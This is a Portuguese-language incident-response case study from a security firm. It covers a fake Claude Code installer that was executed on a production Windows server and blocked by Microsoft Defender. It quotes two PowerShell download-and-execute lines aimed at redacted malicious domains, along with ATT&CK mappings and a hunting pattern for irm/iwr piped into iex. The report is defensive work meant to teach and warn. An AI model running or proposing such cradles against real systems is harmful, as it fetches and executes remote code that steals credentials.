Microsoft Solutions Partner · Modern Work · Security
Cases/Instalador falso de ferramenta de IA
Case de resposta a incidente · Microsoft Defender for Endpoint

20 segundos entre o clique e o bloqueio: o instalador falso do Claude Code

Empresa brasileira de serviços técnicos

Contido no atoSeveridade altaSem comprometimento
Ambiente
Servidor Windows no Microsoft Azure
Ano
2026
Escopo
Endpoint, processos, rede e persistência
Conduzido por
Resposta a Incidentes · Frayha
01

Resumo

Um desenvolvedor executou, num servidor de produção da empresa, o comando de instalação de uma ferramenta de IA copiado de um site falso. O comando era quase idêntico ao oficial, só o domínio mudava. A ferramenta legítima foi instalada como disfarce enquanto um segundo estágio tentava rodar em paralelo. O Microsoft Defender for Endpoint bloqueou esse estágio cerca de 20 segundos depois, antes de qualquer conexão de rede. A investigação confirmou: contido, sem comprometimento.

~20 s
entre a abertura do console e o bloqueio
0
conexões ao domínio do segundo estágio
4
verificações forenses no host, todas limpas
0
mecanismos de persistência encontrados
1
servidor isolado preventivamente
D+1
investigação concluída com veredito

As três camadas do golpe

Isca · domínio falso

Site que imita a página de instalação da ferramenta, posicionado por SEO e anúncios pagos acima da documentação oficial. O comando exibido é igual ao verdadeiro, com outro domínio.

Typosquatting do instalador
Disfarce · instalação real

O script instala a versão legítima da ferramenta, assinada pelo fabricante. Para o usuário, a instalação parece ter funcionado normalmente.

Nada interrompe o fluxo esperado
Carga · segundo estágio

Em paralelo, um processo filho do PowerShell tenta baixar e executar em memória o estágio seguinte, tipicamente um infostealer voltado a chaves de API, tokens e credenciais.

Bloqueado pelo EDR antes do download
Conclusão principal

O EDR interceptou o estágio malicioso no ato. A telemetria do próprio servidor confirmou que o conteúdo malicioso nunca foi baixado, que nenhum processo suspeito foi iniciado e que não houve persistência nem roubo de credenciais. O risco real estava no contexto: uma conta que administra produção instalando software direto no servidor.

02

Contexto e acionamento

O alerta de severidade alta surgiu no Microsoft Defender for Endpoint de uma máquina virtual no Azure que acumulava duas funções: banco de dados SQL Server de produção e ambiente de ETL e automação do pipeline de dados, com Apache Airflow e Docker. A conta envolvida era uma identidade local com perfil de desenvolvedor.

A pergunta para a Frayha era direta: o bloqueio foi suficiente ou algo chegou a rodar? A resposta precisava vir da telemetria do servidor, não de suposições sobre o comportamento da família de malware.

Comando executado · domínio falso

irm https://[domínio-falso]/install.ps1 | iex

Comando oficial · correto

irm https://claude.ai/install.ps1 | iex
03

Metodologia

Bloquear
Isolar
Investigar
Verificar
Endurecer

O servidor foi isolado da rede pelo próprio Defender, preservando a telemetria para a investigação. A análise foi feita com Advanced Hunting sobre os eventos do host real. A detonação do instalador em sandbox serviu apenas como referência do comportamento da família, nunca como prova do que aconteceu no servidor.

Fonte / ferramentaO que foi consultadoUso na análise
Defender for EndpointAlerta, detecção e ação de remediaçãoConfirmar o bloqueio e o momento exato
DeviceNetworkEventsConexões de saída do servidorProvar se o segundo estágio foi baixado
DeviceProcessEventsÁrvore de processos do PowerShell e processos de segundo estágioIdentificar qualquer execução além da ferramenta legítima
DeviceEvents / DeviceRegistryEventsTarefas agendadas e chaves Run/RunOnceDescartar persistência
Sandbox (ANY.RUN)Detonação do script de instalaçãoReferência de comportamento da família
Por que o sandbox não basta

Na detonação em sandbox, o script instalou a ferramenta legítima sem baixar nenhum executável malicioso. Essa campanha usa evasão de sandbox, então o conteúdo entregue ao alvo real pode ser diferente. Por isso o veredito foi baseado apenas na telemetria do servidor.

04

Linha do tempo

T0 = abertura do console PowerShell pela conta envolvida. D+1 = dia seguinte.

T0Sessão interativa
T0 + segundosExecução do comando falso
T+20 sBloqueio pelo EDR
D+1Isolamento e investigação
T0Usuário

Console PowerShell aberto pela conta local de desenvolvedor, em sessão interativa.

T0 + segundosAtacante

Execução do comando copiado do domínio falso. A ferramenta legítima, assinada pelo fabricante, é instalada e o script tenta, em paralelo, buscar o segundo estágio.

T+20 sDefender for Endpoint

Bloqueio do download cradle, detectado como Trojan:Win32/ClickFix.Q!ml. Remediação concluída com sucesso.

D+1Frayha

Servidor isolado preventivamente pelo Defender, com a telemetria preservada.

D+1Frayha

Investigação via Advanced Hunting com quatro verificações no host. Veredito: contido, sem comprometimento.

05

Investigação no servidor

Cada hipótese de comprometimento virou uma consulta sobre a telemetria do próprio servidor, na janela do bloqueio e depois dela.

VerificaçãoResultadoLeitura
Conexão ao domínio do segundo estágio0 registrosO cradle foi bloqueado antes de qualquer saída de rede. O conteúdo malicioso nunca foi baixado.
Processos de segundo estágio (mshta, rundll32 e similares)Apenas do sistemaNenhum processo iniciado pelo PowerShell. Os itens encontrados são manutenção nativa do Windows e do Docker Desktop.
Tarefas agendadasApenas nativasSomente tarefas do próprio Windows. Nenhuma fora do caminho do sistema.
Chaves Run e RunOnce0 registrosSem persistência via registro.
Árvore de processos do PowerShell na janela do bloqueioSó a ferramenta legítimaÚnico processo gerado: o instalador assinado e suas rotinas (reg, git, npm). Nada malicioso.
Veredito

O Defender interceptou o estágio malicioso antes de qualquer atividade de rede. O infostealer não executou, não houve persistência e não houve roubo de credenciais. Reconstrução do servidor e rotação emergencial de credenciais não foram necessárias.

06

Achados técnicos

Vetor: typosquatting do instalador

O incidente é consistente com a campanha de instaladores falsos do Claude Code que usa a técnica conhecida como ClickFix ou InstallFix. A campanha se posiciona acima da documentação oficial com SEO poisoning e anúncios pagos. A característica central é não interromper a instalação esperada: a ferramenta legítima é instalada como disfarce enquanto o estágio malicioso tenta rodar em paralelo, mirando chaves de API, tokens e credenciais de ambientes de desenvolvimento.

Comando interceptado

powershell.exe ... iwr -useb [domínio-malicioso] | ie

É um download cradle: baixa conteúdo de um domínio malicioso e o executa direto na memória, sem gravar arquivo em disco. A detecção é baseada em machine learning sobre o padrão do comando. A duplicação do processo powershell.exe indica o instalador gerando um processo filho para buscar o estágio seguinte.

Superfície do servidor

O servidor acumulava a função de banco de produção e a de ambiente de desenvolvimento e ETL. Isso amplia o raio de impacto de qualquer instalação feita ali: se o segundo estágio tivesse rodado, credenciais de produção e do pipeline de dados estariam ao alcance do mesmo processo.

O detalhe que engana

O instalador oficial não exige privilégio administrativo. Um comando de instalação de ferramenta de desenvolvimento rodando como administrador num servidor de produção já é, por si só, um sinal de alerta.

07

Técnicas do atacante (MITRE ATT&CK)

TáticaTécnicaComo apareceu no caso
Desenvolvimento de recursosT1583.001Adquirir infraestrutura: domíniosDomínio que imita a página de instalação da ferramenta
Desenvolvimento de recursosT1608.006SEO poisoningCampanha posicionada acima da documentação oficial
ExecuçãoT1204.004Execução pelo usuário: copiar e colarComando colado e executado no PowerShell pelo próprio usuário
ExecuçãoT1059.001PowerShellScript de instalação e processo filho com o cradle
Evasão de defesaT1036MascaramentoInstalação da ferramenta legítima como disfarce
Comando e controleT1105Transferência de ferramentas (tentativa)Download do segundo estágio, bloqueado antes de ocorrer
08

Causa raiz e fatores contribuintes

Causa raiz

Execução, num servidor de produção e com conta administrativa, de um comando de instalação copiado de um domínio falso.

Fator contribuinteEfeito no incidente
Conta que administra produção navegando e instalando softwareLevou o golpe para dentro do servidor mais sensível do ambiente.
Servidor com dupla funçãoBanco de produção e ambiente de desenvolvimento na mesma máquina ampliam o raio de impacto.
Fonte de instalação não validadaUm comando quase idêntico ao oficial foi executado sem conferência do domínio.
Camadas preventivas ainda não aplicadas em toda a baseRegras ASR contra cradles, Script Block Logging e LAPS reduziriam a chance e ampliariam a visibilidade.
09

Impacto

ParteImpacto
Dados e credenciaisNenhum. O segundo estágio não foi baixado nem executado.
ServidorIsolamento preventivo da rede durante a investigação. Reconstrução não necessária.
OperaçãoServiços do servidor indisponíveis enquanto ele esteve isolado.
10

Lições aprendidas

O que funcionou

  • EDR ativo no servidor, bloqueando o estágio malicioso no ato.
  • Isolamento pelo próprio Defender, preservando a telemetria.
  • Veredito baseado no host real, e não no comportamento observado em sandbox.
  • Quatro verificações objetivas: rede, processos, tarefas e registro.

O que precisa mudar

  • Contas de administração de produção instalando software no servidor.
  • Banco de produção e ambiente de desenvolvimento na mesma máquina.
  • Instalação feita a partir de um link encontrado em busca, sem conferir o domínio.
  • Regras de redução de superfície de ataque ainda não aplicadas em toda a base.
Para gestores

O instalador falso funciona de verdade, justamente para não levantar suspeita. O que protege é a combinação de EDR ativo em todos os servidores, separação entre contas de administração e de uso diário e uma fonte única e conhecida para instalar ferramentas.

11

Recomendações

Imediatas
  • Liberar o servidor do isolamento. Reconstrução e rotação emergencial de credenciais não são necessárias.
  • Cadastrar os domínios maliciosos como Custom Indicators no Defender e no firewall.
  • Reinstalar a ferramenta a partir da fonte oficial, se ainda for necessária.
Curto prazo
  • Segregação de privilégios (tiering): contas que administram produção não navegam nem instalam software no servidor.
  • LAPS para as contas locais de administrador.
  • PowerShell Script Block Logging (evento 4104) em toda a base.
  • Regras ASR que bloqueiam download cradles.
  • Hunting recorrente por padrões irm/iwr com execução direta (iex/ie).
Processo
  • Conscientização: a fonte única do Claude Code é claude.ai e a documentação oficial da Anthropic.
  • Separar banco de produção e ambiente de desenvolvimento em máquinas diferentes.
  • Monitorar reincidência da detecção em toda a base.
Case elaborado pela Frayha Tecnologia a partir de uma investigação real, com dados anonimizados. Nomes da empresa e de pessoas, nomes de servidores e de contas, domínios maliciosos, endereços IP, identificadores técnicos e datas do calendário foram omitidos ou generalizados.

Seus servidores bloqueariam um instalador falso?

Avaliamos EDR, regras de redução de superfície de ataque, segregação de privilégios e monitoramento do seu ambiente. Em caso de incidente em andamento, fale direto com a equipe de resposta.

WhatsApp